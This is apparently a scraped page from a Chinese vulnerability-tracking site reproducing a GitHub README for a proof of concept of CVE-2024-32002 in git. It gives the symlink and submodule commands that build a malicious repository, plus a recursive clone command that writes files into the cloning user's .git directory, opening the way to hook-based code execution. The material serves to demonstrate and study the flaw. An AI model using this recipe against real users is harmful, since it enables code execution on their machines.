来源

关联漏洞

描述

A POC for CVE-2024-32002 demonstrating arbitrary write into the .git directory.

介绍

# CVE-2024-32002 PRC AW
A  POC for CVE-2024-32002 demonstrating arbitrary write into the .git directory.

See [cve-2024-32002-submodule-aw](https://github.com/JakobTheDev/cve-2024-32002-submodule-aw) for the related submodule repository.

## What this repo contains
- A symlink with an arbitraty name that links to the `.git` directory.
- A `.gitmodules` file that defines the malicious submodule.

## How to recreate this repo

This repo was created in Linux (WSL2, to be specific). This is important, the malicious repo can only be created on a case-sensitive filesystem.

1. Create a symlink, using all lowercase characters

```bash
ln -s .git submodule
```

Notes:
- The symlink should point to the .git folder, since this is where we want to write files
- The symlink name (submodule) is arbitrary, but should start with a lowercase character
- This is important, because lowercase characters sort earlier than uppercase characters. When the clonong machine gets confused about where to write the submodule files, we want it to choose the symlink and not a normal directory.

2. Add the malicious submodule, noting the case difference on the submodule directory name

```bash
git submodule add --name aw https://github.com/JakobTheDev/cve-2024-32002-submodule-aw.git Submodule/notexists
```

Notes:
- The name of the submodule matters, it wil come into play when placing our hook in the submodule.
- The first segment of the submodule's path ("Submodule") should match the symlink name above, just differing in case.
- There must be at least one other segment to the path, since git will only clone submodules into an emptry directory. It will create directories for us though, so we chose "notexists" to demonstrate that.

## How to run the POC

1. Check whether you have a vulnerable version of git. See the [GitHub advisory](https://github.com/git/git/security/advisories/GHSA-8h77-4q3w-gfgv) for affected versions.
```bash
git --version
```
2. Think about whether you knowingly want to run a command that could achieve RCE... This repo is benign, but are you sure?
3. Run the following command:
```bash
git clone --recursive --config core.symlinks=true https://github.com/JakobTheDev/cve-2024-32002-poc-aw.git
```
4. Take a look in the .git directory. See anything out of place. Hint: What files are in the [submodule](https://github.com/JakobTheDev/cve-2024-32002-submodule-aw).

文件快照

 [4.0K]  /data/pocs/616665ca68d2b6feda4456e06f3851ea5625c5bc
├── [1.0K]  LICENSE
├── [2.3K]  README.md
├── [   4]  submodule -> .git
└── [4.0K]  Submodule
    └── [4.0K]  notexists

3 directories, 2 files

备注